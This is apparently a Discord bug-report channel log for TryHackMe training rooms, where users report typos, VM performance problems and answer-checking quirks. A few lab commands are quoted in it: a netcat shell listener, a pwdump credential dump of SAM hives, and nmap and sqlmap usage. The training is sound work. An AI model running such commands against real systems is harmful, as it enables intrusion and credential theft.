There are 13 asterix here, no spaces, which means the answer doesn't have a space.

📎 unknown.png

eternal summit Dec 23, 2020, 3:22 PM

#

wheat fractal That "the"

You just circled the whole question which is useless

hazy tiger Dec 23, 2020, 3:22 PM

#

📎 unknown.png

wheat fractal Dec 23, 2020, 3:22 PM

#

^^^

#

Jabba got it

#

That's the "the" I'm talking about

stoic hearth Dec 23, 2020, 3:24 PM

#

hazy tiger There are 13 asterix here, no spaces, which means the answer doesn't have a spac...

ok thanks. I thought that a space counts as an asterix

wheat fractal Dec 23, 2020, 3:24 PM

#

either the word separated needs to be replaced or the word "the" it just doesn't make sense the way it's worded like that

#

anyway, back to my studies ....

teal barn Dec 23, 2020, 9:45 PM

#

https://tryhackme.com/room/adventofcyber2 - Day 21
RDP on Windows machines are unusable due to performance. 100% of CPU non-stop 90% of RAM.
The VM need more resources.

📎 unknown.png

eternal summit Dec 23, 2020, 9:52 PM

#

@dusky junco if you're around, this is uhhhhh

📎 unknown.png

#

Aoc2 day 11

dusky junco Dec 23, 2020, 10:04 PM

#

howdy

eternal summit Dec 23, 2020, 10:05 PM

#

It's uh

#

Got a number

#

For some reason

dusky junco Dec 23, 2020, 10:05 PM

#

That's peculiar

eternal summit Dec 23, 2020, 10:05 PM

#

Especially how it renders.

#

Oooh, want an extra spicy bit of detail?

#

Pinged in the dev chat for it

dusky junco Dec 23, 2020, 10:07 PM

#

How about now?

#

Looks like it's sorted it okay to me

📎 unknown.png

#

I know exactly what caused that

eternal summit Dec 23, 2020, 10:08 PM

#

dusky junco Looks like it's sorted it okay to me

Yup you got it

dusky junco Dec 23, 2020, 10:10 PM

#

Ayyeeee wicked. Thanks @eternal summit

eternal summit Dec 23, 2020, 10:10 PM

#

~~got another one in the devchat~~

teal barn Dec 23, 2020, 10:42 PM

#

@dusky junco #room-bugs message

#

same for day 22

📎 unknown.png

#

1GB RAM, 1 virtual thread of CPU, no graphic acceleration
Windows 10 can't run with that 😄

dusky junco Dec 23, 2020, 10:45 PM

#

Thanks Noraj, unfortunately that's AWS -- it's very expensive. Is this straight after you login?

#

As well as for Day 21?

teal barn Dec 23, 2020, 10:45 PM

#

20 min after boot

dusky junco Dec 23, 2020, 10:45 PM

#

Interesting

teal barn Dec 23, 2020, 10:46 PM

#

was 8min after boot for 21

dusky junco Dec 23, 2020, 10:46 PM

#

Could you show the process that's causing the 100% usage please?

teal barn Dec 23, 2020, 10:46 PM

#

too late

#

I noticed there was a windows update notification

#

all CPU is used by "System interrupts"

#

also just opening the windows menu make you rise from 5% to 100% CPU instantly

#

coz there is no graphic acceleration

#

so all rendering is done via the CPU

#

you should ask the authors of windows VM to setup the performance mode

#

@dusky junco this https://www.windowscentral.com/how-disable-system-visual-effects-boost-performance-windows-10 should be done on all windows machine that require RDP if you can't afford more resources

Windows Central

Disable visual effects for better performance on Windows 10

In this guide, we'll show you the steps to change the default visual effects settings on Windows 10 to improve the system performance of your computer.

dusky junco Dec 23, 2020, 10:51 PM

#

Perfect yup (: This is something I've discovered over the last week and am trying to find the time to help automate to help windows box users with this

#

Apppreciate you reporting this @teal barn

weary patio Dec 23, 2020, 10:52 PM

#

Hi all, do I post here a small bug for the calendar event?

teal barn Dec 23, 2020, 10:52 PM

#

by the way it is not enought as the resources are VERY low all optiosn are nearly all disabled

#

default with those low resources

📎 unknown.png

#

so perf mode only disable the fonts

#

but on a normal destop or laptop all the options are checked

dusky junco Dec 23, 2020, 10:53 PM

#

Are you connecting via Windows by any chance Noraj?

teal barn Dec 23, 2020, 10:53 PM

#

it means it will be useless to switch to perf mode

teal barn Dec 23, 2020, 10:53 PM

#

dusky junco Are you connecting via Windows by any chance Noraj?

? via RDP ?

dusky junco Dec 23, 2020, 10:53 PM

#

Yes (: MS' RDP client

teal barn Dec 23, 2020, 10:53 PM

#

no via remmina

#

as showed in the room material

#

I have even dropped the color depth from 32 bpp to the minimum of 8 bpp

#

also transparency can be disabled for betetr perf

📎 unknown.png

dusky junco Dec 23, 2020, 11:19 PM

#

Okay, I appreciate you reporting that back to me/us @teal barn

#

I really do

teal barn Dec 23, 2020, 11:20 PM

#

sure np

dusky junco Dec 23, 2020, 11:20 PM

#

I'm actively working on improving performance with windows boxes

teal barn Dec 23, 2020, 11:21 PM

#

no feedback = no issue fixed, so I do my part

dusky junco Dec 23, 2020, 11:21 PM

#

However, they are unfortunately super expensive to run in the cloud -- hence the low resources (even as a subscriber)

dusky junco Dec 23, 2020, 11:21 PM

#

teal barn no feedback = no issue fixed, so I do my part

Precisely (: thank you for that.

wheat fractal Dec 24, 2020, 12:26 AM

#

hey guys when doing the internal room on tryhackme ii found ||the wordpress login page|| but when i try to || login with credentials it takes me to http://internal.thm/blog/wp-login.php|| which is not the machine im working with nor do i think it should be that link also the css of the site doesnt load

eternal summit Dec 24, 2020, 12:27 AM

#

You need to add it to /etc/hosts

#

This is not a bug

#

This is user error

wheat fractal Dec 24, 2020, 12:28 AM

#

oh sorry then my bad
what do i need to add to the hosts file?

eternal summit Dec 24, 2020, 12:28 AM

#

That sounds like a research question. This is the channel for reporting room bugs, not a help channel.

wheat fractal Dec 24, 2020, 12:29 AM

#

nvm

fresh basin Dec 24, 2020, 6:06 AM

#

anyone else having the Windows RDP session run slower than a snail with asthma?

twin tapir Dec 24, 2020, 6:14 AM

#

1.) you can scroll up like 1 message and see a conversation about it
2.) its being investigated
3.) windows I dont even know its just windows being windows

strong kelp Dec 24, 2020, 10:21 AM

#

I don't know where to post this, but in room https://tryhackme.com/room/breakit, the links to pastebin points to inexisting files.

chilly igloo Dec 24, 2020, 7:01 PM

#

Id like to report a bug in this room: https://tryhackme.com/room/linuxctf
Specifically flag 14. The filename has a typo. It's i'm assuming supposed to be flagfourteen.txt but it is actually flagtourteen.txt. Nothing major, but i did want to report this issue for those who might come across this same bug.

prisma venture Dec 25, 2020, 12:08 AM

#

Room: Wireshark 101, task 12, question 2 : was is! typo, out there in the room 😄

📎 Wireshark_Room.png

twin tapir Dec 25, 2020, 12:36 AM

#

@prisma venture fixed

prisma venture Dec 25, 2020, 12:45 AM

#

twin tapir <@!507337805689520178> fixed

Thanks!

#

great room!

chilly igloo Dec 25, 2020, 4:32 AM

#

Link: https://tryhackme.com/room/furthernmap
Task: 9
Question:
How would you perform a ping sweep on the 172.16.x.x network (Netmask: 255.255.0.0) using Nmap? (CIDR notation)
Answer: ||nmap -sn 172.16.0.0/16||
Accepted Answer Provided By Me: ||nmap -sn 172.16.0.0/||

So, it completely disregarded the /16 part of the question. Not sure if that intentional or not as it gave this /16 in the hint, but yea, figured you want to know.

obsidian kiln Dec 25, 2020, 7:00 AM

#

@chilly igloo that's just answer tolerance on the site. We can't turn it off on a per question basis

chilly igloo Dec 25, 2020, 7:11 AM

#

@obsidian kiln kk, i figured it was a little give there, but yea. I didn't know if it was intended or not, seeing how i'm a new user. 😛 Just wanted to make sure. Thanks for the reply! 😄

obsidian kiln Dec 25, 2020, 7:12 AM

#

Np! Welcome 🙂

oblique hemlock Dec 25, 2020, 10:09 AM

#

Link: https://tryhackme.com/room/furthernmap
Task: 3
Question:
How would you tell nmap to scan ports 1000-1500?
Answer: ||-p 1000-1500||
Accepted Answer Provided By Me: ||-p 1000-15000 (15k instead of 1.5k)||

hazy tiger Dec 25, 2020, 10:37 AM

#

It’s answer tolerance

#

If you refresh your page it will update

#

It’s so that answers do not have to be perfect to be accepted

#

@oblique hemlock

#

It’s regex, it can be disabled but it would make certain things like flag entry much harder and more strict

#

Always triple check the information you’re getting from boxes

#

While commands are easy to change, accidentally mistyping someone’s password isn’t that easy to fix..

tight relic Dec 25, 2020, 1:01 PM

#

Some of the images are broken in the JVM Reverse Engineering room

somber charm Dec 25, 2020, 4:27 PM

#

Anyone having problem with the Alfred room, it says the root flag should be in C:\Windows\System32\config, but it's not there. I tried searching for it in the entire C:\ and it's just not there.

tawny tree Dec 25, 2020, 4:38 PM

#

Advent of Cyber 2 windows VMs defaulting to Hindi instead of English

pine kernel Dec 25, 2020, 4:46 PM

#

Hi, I just have completed advent of cyber 2 and i downloaded my certificate after completing but in the certificate it is showing my username which is hawkxfx but instead of that i want to showcase my full name cause i have to show it on my school...

timber bone Dec 25, 2020, 4:51 PM

#

pine kernel Hi, I just have completed advent of cyber 2 and i downloaded my certificate afte...

send email to support@tryhackme.com asking to change the certificate to show your name

errant plover Dec 25, 2020, 5:41 PM

#

Hello I found something which i dont know if reported . In Network Services 2 room while exploiting SQL , it says metasploit by default will test with "select module()" command , but actually it tests with "select version()" command

📎 unknown.png

forest plover Dec 25, 2020, 7:15 PM

#

Hey people, I have problems to find all ports in the Brainstorm-Room.

vale ferry Dec 25, 2020, 7:18 PM

#

I already room in 22 rooms and completed 22 rooms. But still show me on profile Room Completed 21 .why ?

topaz thorn Dec 25, 2020, 7:19 PM

#

Go through them some rooms may have updated with new questions

forest plover Dec 25, 2020, 7:25 PM

#

forest plover Hey people, I have problems to find all ports in the Brainstorm-Room.

since yesterday I tried all possible options with nmap. I tried -sU and -sT plus -p- and so on and I only find 2 or three ports but never all six

topaz thorn Dec 25, 2020, 9:34 PM

#

Not a bug, you need to drop the filter.js otherwise it won't let you upload

faint ridge Dec 25, 2020, 9:34 PM

#

^^

signal sleet Dec 25, 2020, 9:34 PM

#

ok thank you

wheat fractal Dec 25, 2020, 9:55 PM

#

i want to report one question in the OSI topic 2nd question, it says packets in data link layer, isnt it frames instead of the "packets". i know that packets in the network layer.

#

So if its already not wrong,can anyone help me with that?

plucky nimbus Dec 26, 2020, 12:00 AM

#

I've found what I believe is a mistake in one of the THM rooms.

#

https://tryhackme.com/room/introtox8664 , In Task 4, question one, I've found a small bug. ||The answer for the question is 60||, but it isn't being accepted.

📎 SPOILER_unknown.png

eternal summit Dec 26, 2020, 12:09 AM

#

@plucky nimbus Nope, it's not 60. That's hex. This isn't an error with the room

#

Not sixty, that might be a more accurate way of putting it

plucky nimbus Dec 26, 2020, 12:10 AM

#

Can I have a nudge in the right direction?

eternal summit Dec 26, 2020, 12:10 AM

#

Yep, dropped it in #room-help for you
blobfingerguns

plucky nimbus Dec 26, 2020, 12:10 AM

#

I saw your hint, thanks

frail flare Dec 26, 2020, 4:45 AM

#

Excuse me. This is the owasp top 10 task 20. I added script in the comments but why there is nothing? It should be something to click...I suppose

📎 unknown.png

rugged yew Dec 26, 2020, 11:27 AM

#

https://tryhackme.com/room/windowseventlogs this room is down or sth

#

maybe its not even out yet

#

but on the description it just says "An introduction to Windows Event Logs and the tools to query them."

terse halo Dec 26, 2020, 2:20 PM

#

Room: Metasploit, Task 7. I tried several times until I found an answer --> run autoroute -h showed we can either use CIDR notation or subnet mask with tack -n and -s respectively. So run autoroute -n IP_ADDRESS -s SUBNET_MASK or run autoroute -n IP_ADDRESS/8(etc) should be used. I tried running the submitted command but was not valid.

📎 Metasploit.png

eternal summit Dec 26, 2020, 2:24 PM

#

@terse halo Refresh?

terse halo Dec 26, 2020, 2:30 PM

#

eternal summit <@267628405044805632> Refresh?

It is showing its the correct answer as it's already been submitted. Refreshed

prime helm Dec 26, 2020, 5:53 PM

#

reference in **MAL: Researching **is literary old 😅
https://oldblog.cmnatic.co.uk/posts/so-you-want-to-analyse-malware/
|
V
https://blog.cmnatic.co.uk/posts/so-you-want-to-analyse-malware/

So You Want to Analyse Malware

twin tapir Dec 26, 2020, 6:06 PM

#

@dusky junco

dusky junco Dec 26, 2020, 6:28 PM

#

Lmao oops! Sorted (: thanks @prime helm @twin tapir

faint ridge Dec 26, 2020, 7:03 PM

#

Room: Mr Robot CTF - https://tryhackme.com/room/mrrobot
Bug: Room deploys with ports closed even though earlier they was open.
What I have tried: Re-deploying, VPN Config Change, VPN troubleshooter
Screenshot Attached

📎 unknown.png

prime helm Dec 26, 2020, 7:03 PM

#

Introductory Researching
Task 4 "Learn Linux" link https://tryhackme.com/room/zthlinux
is private 😶

eternal summit Dec 26, 2020, 7:04 PM

#

@prime helm That's @obsidian kiln's room rather than one from Dark

prime helm Dec 26, 2020, 7:05 PM

#

sry ^^'

obsidian kiln Dec 26, 2020, 7:06 PM

#

Oh, danke -- I'll fix that now 👍

manic shoal Dec 26, 2020, 8:07 PM

#

room agent sudo wont accept CVE, i also used the one i saw in the writeup still doesnt work?

#

CVE i used : CVE-2019-14287

eternal summit Dec 26, 2020, 8:07 PM

#

I'd say #room-help first?

manic shoal Dec 26, 2020, 8:08 PM

#

oh im sorry, i thought this channel was more suitable

eternal summit Dec 26, 2020, 8:08 PM

#

That's the correct answer and it will work in the form @manic shoal

#

If it does not, that's a site bug and not a room bug.

#

I have the correct answer RN

manic shoal Dec 26, 2020, 8:09 PM

#

well it doesnt wont to accept for me i thought its a room bug, sorry :/

eternal summit Dec 26, 2020, 8:10 PM

#

@manic shoal Check your dev console to see if there's any errors there

#

And try reloading the page

#

It might just be cloudflare being a pain

manic shoal Dec 26, 2020, 8:10 PM

#

after couple of retries it works

#

thank you for the help

eternal summit Dec 26, 2020, 8:11 PM

#

Prolly cloudflare being a pain

lime vapor Dec 27, 2020, 12:20 AM

#

Not quite a bug, but more of a suggestion:

Several people have run into an issue with the NMap Room, under the NMap switches section, specifically the question "How would you activate all of the scripts in the "vuln" category?". The answer is correct, however, in quite a few places online (found when Googling), the same switch has a space, and in some places, it does not. This could confuse some users on which answer to put. My suggestion was to add a hint that informed them to enter the answer without spaces. I think that this might clear it up for some people.

Thank you!

obsidian kiln Dec 27, 2020, 1:03 AM

#

lime vapor Not quite a bug, but more of a suggestion: Several people have run into an issu...

Given the asterisks in the answer field tell you if there's a space or not, I'd like to think that the answer to that is kinda obvious. That said, I have added in a hint

lime vapor Dec 27, 2020, 1:06 AM

#

@obsidian kiln - thank you! I think sometimes we miss the obvious :)

north gyro Dec 27, 2020, 2:12 AM

#

Hi, I posted this before, but it might have been buried,
#room-bugs message
Can someone take a look at this? pretty sure this room is unsolvable.
#advanced-help message

north gyro Dec 27, 2020, 2:16 AM

#

lime vapor Not quite a bug, but more of a suggestion: Several people have run into an issu...

i wonder if the answers could be parsed by regex in the back-end, then both answers could work.

obsidian kiln Dec 27, 2020, 2:20 AM

#

@north gyro they already are. Somewhat ironically, this is one of the few cases where the regex doesn't make it accept a technically incorrect answer.

north gyro Dec 27, 2020, 3:30 AM

#

obsidian kiln <@398297084094316555> they already are. Somewhat ironically, this is one of the ...

https://nmap.org/book/man-nse.html they use a space here?

north gyro Dec 27, 2020, 6:12 AM

#

"Based on the output"

plucky nimbus Dec 27, 2020, 6:12 AM

#

Right, I should probably include the output. Let me edit.

#

Output added

north gyro Dec 27, 2020, 6:14 AM

#

ok so look in the line MATCHES:

plucky nimbus Dec 27, 2020, 6:15 AM

#

I... should just go climb into a hole. I thought that was Strl, as L like lima.

north gyro Dec 27, 2020, 6:16 AM

#

all done?

plucky nimbus Dec 27, 2020, 6:16 AM

#

Yep.

north gyro Dec 27, 2020, 6:16 AM

#

👍

dusky junco Dec 27, 2020, 11:46 AM

#

Hey if anyone experiences Windows boxes terminating/shutting down after an hour (even though the timer says 2 hours or you've extended it), please @ me with the room code / URL

dusky junco Dec 27, 2020, 11:46 AM

#

dusky junco Hey if anyone experiences Windows boxes terminating/shutting down after an hour ...

tiny knot Dec 27, 2020, 1:10 PM

#

Linux Strength Training, Task 5

'encoded.txt' is not on the deployed machine. Unable to complete the task without it.

latent vessel Dec 27, 2020, 1:27 PM

#

tiny knot Linux Strength Training, Task 5 'encoded.txt' is not on the deployed machine. ...

There is no bug

tiny knot Dec 27, 2020, 1:35 PM

#

Then where is the file? Did they changed the name and forgot to update the question?

latent vessel Dec 27, 2020, 1:36 PM

#

Nope

#

Come in room-hints

terse halo Dec 27, 2020, 4:26 PM

#

Room: Hydra---> login keyword is missing in between "/" and ":". Not a bug, more of a correction 🙂

📎 hydra.png

eternal summit Dec 27, 2020, 4:27 PM

#

terse halo Room: Hydra---> *login* keyword is missing in between "/" and ":". Not a bug, mo...

Not a bug

#

Or a correction

#

If you're sending the data to / then it's perfectly correct

#

It's an example. Not for a specific webapp

terse halo Dec 27, 2020, 4:28 PM

#

Oh okay gotcha

oblique hemlock Dec 27, 2020, 8:13 PM

#

After how many minutes can i conclude that the machine is not booting up? On the page it says "it may take up to 3 minutes to boot", and it has been 10mins already and nothing has happened. it is the /room/hydra machine

eternal summit Dec 27, 2020, 8:14 PM

#

oblique hemlock After how many minutes can i conclude that the machine is not booting up? On the...

Check your VPN.

#

And #site-support

slate parrot Dec 28, 2020, 2:15 PM

#

I am completing the CC:Penetration Testing room, and am on Task 18. Although I have been able to enumerate the DB and tables, it seems that the table containing the flag is empty. I have re-deployed the instance twice, but the tests table is empty. Is this a machine bug?

📎 Screenshot_2020-12-28_at_14.07.56.png

hazy tiger Dec 28, 2020, 3:40 PM

#

This isn’t a Machine bug

#

It’s a bug with your SQLMAP

#

Install it from the repo on GitHub and try running it with python sqlmap.py, not sure why this happens but it’s a bit of a pain

#

*would like to add this fix doesn’t always work, you may need to play around with it

slate parrot Dec 28, 2020, 3:46 PM

#

hazy tiger It’s a bug with your SQLMAP

I’m using AttackBox

slate parrot Dec 28, 2020, 3:46 PM

#

hazy tiger Install it from the repo on GitHub and try running it with `python sqlmap.py`, n...

Thanks, will try this now 🙂

slate parrot Dec 28, 2020, 3:52 PM

#

hazy tiger *would like to add this fix doesn’t always work, you may need to play around wit...

Thanks — fresh install fixed this. Should the AttackBox version be updated?

slate parrot Dec 28, 2020, 5:07 PM

#

I think they’re investigating issues with Windows boxes stopping abruptly at the moment. @dusky junco

tulip basalt Dec 28, 2020, 5:18 PM

#

uhh so I noticed typos work here...

📎 SPOILER_unknown.png

viral cobalt Dec 28, 2020, 5:18 PM

#

HTTP is technically a protcol,

#

and its likely answer tolerance @Sin

#

refresh and it'll be fixed

#

the question should definitely be "what software is the server running"

eternal summit Dec 28, 2020, 5:20 PM

#

tulip basalt uhh so I noticed typos work here...

That's just answer tolerance

tulip basalt Dec 28, 2020, 5:21 PM

#

Oh, I've never noticed that was a thing before, okay sorry to bother!

viral cobalt Dec 28, 2020, 5:23 PM

#

99% of "oh it accepted the wrong answer" is answer tolerance

zinc cradle Dec 28, 2020, 5:26 PM

#

it says this is wrong in the linux enumeration room but im sure it is. Am i right or am i being a bit daft here its the same on GTFObins

📎 SPOILER_Capture.PNG

eternal summit Dec 28, 2020, 5:26 PM

#

Those quotes don't look correct

#

"

#

There's a normal double quote for you

zinc cradle Dec 28, 2020, 5:28 PM

#

me?

eternal summit Dec 28, 2020, 5:29 PM

#

Who else?

zinc cradle Dec 28, 2020, 5:30 PM

#

mad ghost

#

anyway

#

idk coz its the same everywhere else i google

eternal summit Dec 28, 2020, 5:30 PM

#

They just don't look like normal single and double quotes

#

" '

#

There you are

zinc cradle Dec 28, 2020, 5:31 PM

#

and the change in quotes would be '' for the script its executing and the "" for specifying inside the script what the shell should be

#

they are

tulip basalt Dec 28, 2020, 5:31 PM

#

this probably isn't a bug? I'm redoing this linux thing, I did it before when it was all 1 room with a bonus at the end, the 2nd paragraph is already completed upon beginning this ?

📎 unknown.png

eternal summit Dec 28, 2020, 5:31 PM

#

tulip basalt this probably isn't a bug? I'm redoing this linux thing, I did it before when it...

Yes it was split into several rooms

zinc cradle Dec 28, 2020, 5:33 PM

#

ah i refreshed a few times and it accepted the answer

#

really really weird

dusky junco Dec 28, 2020, 6:33 PM

#

slate parrot I think they’re investigating issues with Windows boxes stopping abruptly at the...

Yesss thanks (: applying the fix for this as we speak. Should be resolved by tomorrow. Thanks for letting me know (and to @oblique hemlock)

trail bramble Dec 28, 2020, 6:42 PM

#

room:Intro to Windows(intro2win)
Task7

Policies > Windows Settings > Security Settings > Users Right Assignment
should be written below
Policies > Windows Settings > Security Settings > Local Policies > Users Right Assignment

📎 Screen_Shot_2020-12-29_at_3.40.19.png

dusky junco Dec 28, 2020, 7:01 PM

#

You're right -- thanks @trail bramble could you also do me a huuuuuge favour and check to see if the license is expired for that please? Should say on the desktop / computer properties

#

Saves me booting it up to take a look if you wouldn't mind 😄

#

But I'll resolve the above now ^

#

Saves me booting it up to take a look if you wouldn't mind 😄
Actually don't worry about this (:

#

updated

📎 unknown.png

trail bramble Dec 28, 2020, 7:07 PM

#

Thanks for quick fixing.✨

#

@dusky junco Do you mean this? Yup, it's expired.

📎 Screen_Shot_2020-12-29_at_4.07.22.png

dusky junco Dec 28, 2020, 7:08 PM

#

Also gonna look into getting that to boot with more resources because owch

#

That's the one! ^ Thanks so much

trail bramble Dec 28, 2020, 7:08 PM

#

Not at all.🎄

dusky junco Dec 28, 2020, 7:08 PM

#

It could defo do with more RAM

static gull Dec 28, 2020, 8:14 PM

#

Having a weird problem in the Skynet room:

#

📎 SPOILER_unknown.png

#

the credentials should work, I even checked with the writeup

twin tapir Dec 28, 2020, 8:30 PM

#

@dusky junco is this whole thing because we’re using evaluation ISOs and not legit ISOs?

#

I’ve noticed the ones that aren’t evaluations haven’t really had problems

dusky junco Dec 28, 2020, 8:32 PM

#

Yeah that's my understanding @twin tapir

#

We rely on BYOL atm

twin tapir Dec 28, 2020, 8:34 PM

#

It’s hard to get real ISOs without other things

dusky junco Dec 28, 2020, 9:00 PM

#

I'm pretty sure I've butchered the explanation of why it doesn't work but yea at least that's somewhat a part of the fix for it that I gotta do

#

I think the import process breaks it to some extent too

#

So when you've had stuff spun up on AWS that's why it's peachy

oblique hemlock Dec 28, 2020, 9:25 PM

#

are room typos welcome in this channel?

eternal summit Dec 28, 2020, 9:25 PM

#

Yes

#

Room, task, question?

#

@dusky junco 👀 typo plz

dusky junco Dec 28, 2020, 9:27 PM

#

Dispatched

#

resolved 👍

steel monolith Dec 28, 2020, 9:51 PM

#

Searchlight - IMINT
Last flag is broken

#

i was sure i was right so i went on one of the writeups linked and copy and pasted the flag and it didnt work lol might be just me or it might be broken

glad badger Dec 28, 2020, 10:54 PM

#

/room/dockerrodeo Task 4 typo: "Before we being exploiting a Docker Registry" change to "Before we begin exploiting a Docker Registry" @dusky junco

dusky junco Dec 28, 2020, 11:17 PM

#

thanks @glad badger

chilly kelp Dec 29, 2020, 1:06 AM

#

steel monolith Searchlight - IMINT Last flag is broken

hi man, it's not broken, if you want you can send me a DM and I can Help you

wheat fractal Dec 29, 2020, 1:24 PM

#

´The Hacking with Powershell room has all the files used for the challenges listed under recent files. which makes it easy not to use powershell. not sure if its really a bug but more of a touchup

twin tapir Dec 29, 2020, 2:40 PM

#

You’re only going to be hurting yourself

south star Dec 29, 2020, 5:46 PM

#

Potential bug(s) in Linux: Local Enumeration (https://tryhackme.com/room/lle). Anytime you lose the shell you cannot regain the shell without terminating and relaunching the machine. Additionally, task 6, on the first question, the hinted command(||find -type f -name “*.bak” 2>/dev/null||) does not yield results. I verified on walkthroughs this was the command others used to find the file.

bitter onyx Dec 29, 2020, 5:47 PM

#

Corp room, https://tryhackme.com/room/corp, the machine doesn't have internet access (already rebooted)

eternal summit Dec 29, 2020, 5:53 PM

#

@bitter onyx it's not meant to

#

The instructions need to be modified

#

But corp is due a revamp IIRC anyway

#

In the meantime, host the file on a webserver on your machine

twin tapir Dec 29, 2020, 6:02 PM

#

that room has a few problems with it the creator is no longer active here iirc

eternal summit Dec 29, 2020, 6:04 PM

#

I think CMN is revamping it

bitter onyx Dec 29, 2020, 6:04 PM

#

eternal summit In the meantime, host the file on a webserver on your machine

Yep that's what I did, reported that just in case

velvet linden Dec 29, 2020, 9:56 PM

#

maybe this flag needs to be corrected ??
Room : hackpark task 4

📎 SPOILER_unknown.png

eternal summit Dec 29, 2020, 9:56 PM

#

Refresh the page

#

That's answer tolerance

velvet linden Dec 29, 2020, 9:58 PM

#

velvet linden maybe this flag needs to be corrected ?? Room : hackpark task 4

this took too much time , and the service was WScheduler.exe

eternal summit Dec 29, 2020, 10:03 PM

#

velvet linden this took too much time , and the service was ```WScheduler.exe```

That's not the name of the service

#

That's the name of one executable that is part of the service

thorn kindle Dec 29, 2020, 11:30 PM

#

Windows Privesc's room - Task 9...The command given in the task was supposed to display the username and passwd, but it only show the username. I tried to ask around and no one seems to know why there isn't a passwd in the output.

📎 unknown.png

eternal summit Dec 29, 2020, 11:33 PM

#

thorn kindle Windows Privesc's room - Task 9...The command given in the task was supposed to ...

I've seen it reported here before I believe, can't immediately see the fix

lean jungle Dec 30, 2020, 3:14 AM

#

In task 11 of Windows PrivEsc v1.0 room, I am supposed to install python-crypto via 'apt install', but it seems the repo does not exist. Is there any work around for this?

north gyro Dec 30, 2020, 8:57 AM

#

is the CSP room ever going to be fixed?
https://tryhackme.com/room/csp
I've asked a few times but got no response. the room's VM needs an internet connection to be completed.

TryHackMe

TryHackMe | Cyber Security Training

An online platform for learning and teaching cyber security, all through your browser.

north gyro Dec 30, 2020, 9:05 AM

#

lean jungle In task 11 of Windows PrivEsc v1.0 room, I am supposed to install python-crypto ...

use python3
sudo apt install python3-crypto
python 2.7 is depreciated

lean jungle Dec 30, 2020, 9:28 AM

#

north gyro use python3 `sudo apt install python3-crypto` python 2.7 is depreciated

Thanks for your help. I could install the python3-crypto. The next problem is that I think the script is written for python2.

└─$ python3 creddump7/pwdump.py SYSTEM SAM
  File "creddump7/pwdump.py", line 28
    print "usage: %s <system hive> <SAM hive>" % sys.argv[0]
          ^
SyntaxError: Missing parentheses in call to 'print'. Did you mean print("usage: %s <system hive> <SAM hive>" % sys.argv[0])?

thorn kindle Dec 30, 2020, 9:40 AM

#

lean jungle In task 11 of Windows PrivEsc v1.0 room, I am supposed to install python-crypto ...

Have you managed to solve task 9?

lean jungle Dec 30, 2020, 9:45 AM

#

thorn kindle Have you managed to solve task 9?

No. I could not find anything related to credentials. But I could guess the correct password, so I just moved on.

thorn kindle Dec 30, 2020, 9:52 AM

#

lean jungle No. I could not find anything related to credentials. But I could guess the corr...

me neither...and can't imagine a possible passwd

north gyro Dec 30, 2020, 9:53 AM

#

@lean jungle there is a program called 2to3 or something similar on Kali, which will produce a patch file, you could try that, or install pip for python2 and use that to install crypto

#

https://bootstrap.pypa.io/get-pip.py

rustic geyser Dec 30, 2020, 11:45 AM

#

Hello again peeps 😄
And i have another issue in room OWASP Juice Shop Task3 after login using SQL injection (direct typing in the field and via burp intercept) no flag is displayed :(.
I did logout and login, close and reopen browser without success 😐
Attached is a screen-cap to confirm that logon was successful.
I know i can google the answer/flag but that is not a fix.

Any suggestions/help ?
Thanks!

L.E. Restarting attack vm and target for another go 😐
L.L.E After restart and retry the flag appeared.

📎 unknown.png

robust niche Dec 30, 2020, 12:21 PM

#

https://tryhackme.com/room/networkservices -> Exploiting telnet -> It's "nc -nlvp 4444" not "nc -lvp 4444"

TryHackMe

TryHackMe | Cyber Security Training

An online platform for learning and teaching cyber security, all through your browser.

eternal summit Dec 30, 2020, 12:26 PM

#

@robust niche It's either

#

Not a bug

robust niche Dec 30, 2020, 12:27 PM

#

Since the other may fail, the other may not, id say its a bug

eternal summit Dec 30, 2020, 12:28 PM

#

What.

robust niche Dec 30, 2020, 12:28 PM

#

But its a minor thing, whatever 🙂

eternal summit Dec 30, 2020, 12:28 PM

#

They're literally the same except one doesn't do reverse DNS.

robust niche Dec 30, 2020, 12:28 PM

#

-lvp might result in "nc: getnameinfo: Temporary failure in name resolution"

eternal summit Dec 30, 2020, 12:28 PM

#

Ok. That's not a problem.

robust niche Dec 30, 2020, 12:29 PM

#

Ok ok 🙂

lean jungle Dec 30, 2020, 1:30 PM

#

north gyro <@414311709142941697> there is a program called 2to3 or something similar on Ka...

Yes, I have found the tool. I am trying to convert it.
But it seems it is not that simple.

lean jungle Dec 30, 2020, 2:23 PM

#

I hope someone can tell me about alternative tools... sadcooctus

obsidian kiln Dec 30, 2020, 2:34 PM

#

lean jungle I hope someone can tell me about alternative tools...<:sadcooctus:73800136456693...

Yes pwdump needs python2. Yes there are also alternative tools

#

You know they exist now, so go hunting 🙂

lean jungle Dec 30, 2020, 2:46 PM

#

obsidian kiln Yes pwdump needs python2. Yes there are also alternative tools

I think I've found one. It was way simpler than converting python2 to python3.

lean jungle Dec 30, 2020, 3:12 PM

#

Nop. It seemed it was working, but I've got 'incorrect'.

undone basin Dec 30, 2020, 3:38 PM

#

Hi all, complete noob thing - https://tryhackme.com/room/linux2 Task 6 "What is the value of the home environment variable" imho should be "What is the value of the HOME environment variable"

TryHackMe

TryHackMe | Linux Fundamentals Part 2

Further adapt your Linux skills by understanding operators. Get hands-on and remotely access your own Linux machine to put your knowledge into use!

trail merlin Dec 30, 2020, 3:43 PM

#

Hello - In the wireshark room there is an issue with Task 7 - ARP traffic. The question asks to find the IP address for a specific MAC address (80:fb:06:f0:45:d7) in the capture file provided but the answer format doesn't match up to any IP's so no answer is correct.

timber bone Dec 30, 2020, 3:58 PM

#

In day 16 of aoc, someone was having problems in that task and i just went to check it out and the web server in it is running on port 80, but it was supposed to run on port 8000

glad badger Dec 30, 2020, 4:34 PM

#

timber bone In day 16 of aoc, someone was having problems in that task and i just went to ch...

Let me check. thm

#

@dusky junco ^^^

grim fossil Dec 30, 2020, 4:57 PM

#

In room OWASPtop10 Task 25 question 2: I was able to get the admin flag at the admin dashboard without changing the userType cookie from "user" to "admin" - i assume, it's not meant to be like that?

trail merlin Dec 30, 2020, 6:00 PM

#

trail merlin Hello - In the wireshark room there is an issue with Task 7 - ARP traffic. The q...

The IP is supposed to be 10.251.23.139 but the answer stripped off part of the host portion of the IP to be 10.251.23.1.

eternal summit Dec 30, 2020, 6:01 PM

#

@trail merlin Are there not multiple IPs shown in the ARP table?

#

Also if that's a /8 like it should be, the host part isn't just the last octet.

trail merlin Dec 30, 2020, 6:13 PM

#

eternal summit <@773758844421668864> Are there not multiple IPs shown in the ARP table?

